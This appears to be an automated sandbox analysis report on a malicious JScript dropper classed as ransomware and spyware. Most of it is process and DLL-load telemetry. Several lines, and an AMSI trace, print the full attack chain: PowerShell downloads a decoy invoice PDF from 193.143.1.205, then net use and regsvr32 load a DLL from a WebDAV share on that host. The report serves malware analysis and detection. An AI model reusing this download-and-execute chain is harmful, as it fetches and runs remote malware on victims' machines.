Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/63@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:928:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ssvkrwd3.1xn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,2750475572137586362,7990639224416552901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,2750475572137586362,7990639224416552901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\828.js.csv");ITextStream.WriteLine(" entry:6965 f:zdytw");ITextStream.WriteLine(" exec:2 f:zdytw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
